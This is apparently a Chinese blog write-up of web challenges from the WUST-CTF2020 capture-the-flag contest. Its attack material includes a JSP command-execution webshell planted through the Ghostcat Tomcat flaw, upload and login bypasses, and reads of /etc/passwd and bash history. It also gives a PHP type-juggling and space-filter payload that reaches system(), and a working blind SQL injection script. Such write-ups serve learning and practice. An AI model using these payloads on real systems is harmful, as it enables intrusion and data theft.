WUST-CTF2020 Web Wp

W

武科新生赛,由于 TaQini 师傅号丢了,所以共享了一波账号,被带了个第一,不得不说 TaQini Tql!

CheckIn

这题有点恶心,上来就给你放音乐洗脑,还问你 Author 是谁,从题目连接处查到出题人 id,修改下 html 提交:

我怎么就想不到这种给博客引流的办法呢!

翻了翻博客,发现有一个 1970 年的文章,真的是远古博客,文末有一半 flag:

博客首页源代码有另一半:

耗费了我半天经历终于把这个题做了出来,此时不得不叹息出题人的良苦用心,赶紧拿起我的手机给出题人转了一笔辛苦费

admin

万能密码绕登录框,构造 xff 头,get post 传个参,最后给的地址排列组合一下就能拿到flag

CV Maker

头像处文件上传,检查了内容,GIF89 文件头绕过直接 getshell。

easyweb

有个任意文件上传和下载,但是访问不到上传的文件,也没办法执行,看了下 tomcat 版本,好像可以直接用幽灵猫的 1day,找了几个 POC,这个可以执行命令,直接传马:

<%
java.io.InputStream in = Runtime.getRuntime().exec("ls -al \").getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
    out.println(new String(b));
}
out.print("</pre>");
%>

利用幽灵猫执行马:

再利用任意下载,下载 flag 即可。

后来跟师傅们交流了一下,发现这题还有个非预期,就是用取证的思路来做题。首先环境提供了任意文件下载的功能,可以下载 /etc/passwd,发现 1000 号用户的名字:

tomajp:x:1000:1000::/home/tomajp:/bin/bash

之后顺腾摸瓜,找该用户执行的命令 /home/tomajp/.bash_history,其中有一段:

cat flaa
cat flaaag
cat flaaaag

直接猜 flag 名字,下载就行。

朴实无华

扫一下目录,没啥特别的,其中 f14g.php 访问竟然有回显,出题人的恶意!

访问得到源码:

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 &amp;&amp; intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?>

level1 由于 php get 传参默认是字符串,而 intval() 遇到字母时会自动截断,所以我们可以传 hex 绕过,这样 intval(hex) 就会变成 0,而后面的 ($num + 1) 会正常解析。

level2 是这三个里面最难得,首先想到的是 0e(数字)和 0e(数字)的 php 弱类型,后来脚本跑到了 9 位还是没跑出来,Mrkaixin 师傅 fuzz 发现 00e(数字)的模式也可以使,于是接着跑脚本,终于跑到一个 00e13060139,md5(’00e13060139′) = 0e095020852609162179351613318278,脚本:

from hashlib import *
import re
# Author : imagin
# Blog : https://imagin.vip
# Filename : md5.py

def isNum(num):
	for i in num:
		if i not in "0123456789":
			return False
	return True

for i in range(100000000):
	num = '00e' + f"{i}"
	h = md5(num.encode()).hexdigest()
	match = re.findall("^[0]+e",h)
	if match != [] and isNum(h[len(match[0]):]):
		print(num, h)
		break
# output:
# 00e13060139 0e095020852609162179351613318278

level3 只 ban 了 cat,还有比如 tac、xxd、od、nl 之类的指令可以利用,随便挑一个就行,最后的payload:

http://101.200.53.102:23333/fl4g.php?
num=0x2020e1&amp;md5=00e13060139&amp;get_flag=nl$IFS$9
fllllllllllllllllllllllllllllllllllllllllaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

颜值成绩查询

前两天刚做了差不多的题,数字型盲注,但是 fuzz 的时候遇到了一些问题(select database() 莫名其妙不执行,但是直接 select ‘123’ 却可以),后来有个师傅教了个方法 1 || length(‘123’),测试出来是空格被 ban 了,老套路,用 /**/ 绕过即可。

直接写 jio 本:

from requests import *
from string import ctfset
# Author : imagin
# Blog : https://imagin.vip
# Filename : md5.py

alpha = ctfset
s = session()
res = ""
u = "http://101.200.53.102:10114/?"
for x in range(1,50):
    for a in alpha:
    	# select group_concat(table_name) from information_schema.tables where table_schema=database()
        # payload = {"stunum":"2/(if((ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),%d,1))=%d),1,2))" % (x, ord(a))}
        # flag score
        # payload = {"stunum":"2/(if((ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag'),%d,1))=%d),1,2))" % (x, ord(a))}
        # flag value
        payload = {"stunum":"2/(if((ascii(substr((select/**/group_concat(flag,0x23,value)/**/from/**/flag),%d,1))=%d),1,2))" % (x, ord(a))}
        # flag wctf2020{e@sy_sq1_and_y0u_sc0re_1t}
        # url = u
        # print(url)
        r = s.get(u, params = payload)
        if '666' in r.text:
            res = res + a
            print(a)
            break
    print(res)

最后比较坑的就是 flag 里面有个 @,但是我字符集里没有这个字,跑了两遍交上去都不对,最后是猜出来的,干死出题人!

PS:这个服务器绝对是我跑过的最快的服务器,flag 啥的都是秒出,不知道用了什么黑魔法,武科 tql!

Imagin 丨 京ICP备18018700号-1


Your sidebar area is currently empty. Hurry up and add some widgets.